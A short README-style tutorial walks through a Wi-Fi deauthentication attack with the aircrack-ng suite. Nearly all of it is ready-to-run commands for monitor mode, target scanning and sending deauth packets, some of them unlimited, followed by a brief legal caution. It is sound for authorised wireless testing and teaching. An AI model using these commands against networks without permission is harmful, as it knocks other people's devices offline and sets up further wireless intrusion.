Here's a basic README for performing a deauthentication attack using aircrack-ng suite in Ubuntu/Debian-based system (may be identical on other system):
-
Wireless network card that support monitor mode and packet injection (e.g., Atheros AR9565)
-
aircrack-ngsuite installed, if notsudo apt install aircrack-ng
-
Open Terminal: Press
Ctrl + Alt + Tto open the terminal. -
Check Wireless Interface: Determine the name of your wireless network interface. Use the following command:
iwconfig
Identify your wireless interface (e.g., wlan0, wlp3s0).
-
Put your Wireless Interface in Monitor Mode: Use
airmon-ngto put your wireless interface in monitor mode. Replacewlan0with your wireless interface name:sudo airmon-ng start wlan0
This command usually rename your interface (e.g.,
wlan0monwlp3s0mon). -
Check Monitor Interface: Verify that the monitor mode has been enabled by running:
iwconfig
You should see your interface listed in monitor mode (e.g.,
wlan0monwlp3s0mon). -
Scan for Networks: Use
airodump-ngto scan for nearby wireless networks and find the target's BSSID (MAC address) and channel:sudo airodump-ng wlan0mon
This will scan nearby wireless networks on all channel. Use
Ctrl+Cto stop scanning. -
Scan for Target Nerworks: After knowing which channel the target are, use
--channeland re-scan.sudo airodump-ng wlan0mon --channel 1
Replace
1with your target's channel. -
Execute Deauthentication Attack: Open a new terminal window or tab and execute the deauthentication attack using the following command:
sudo aireplay-ng -0 5 -a <BSSID> wlan0mon
Replace
<BSSID>with the BSSID of the target network obtained from the previous step.-0flag specifies the deauthentication attack.
5represents the number of deauthentication packets to send. Adjust as needed.0means unlimited. -
Monitor Activity: Switch back to the first terminal where
airodump-ngis running. You should see devices disconnecting and attempting to reconnect to the target network. -
Exit Monitor Mode: Once you've completed the attack, exit monitor mode using:
sudo airmon-ng stop wlan0mon
Replace
wlan0monwith your monitor interface name if different.
- Caution: Deauthentication attacks can be illegal if performed without proper authorization. Ensure you have permission before conducting such tests.
- Use responsibly and in controlled environments.
- Be mindful of the laws and regulations related to wireless network security in your area.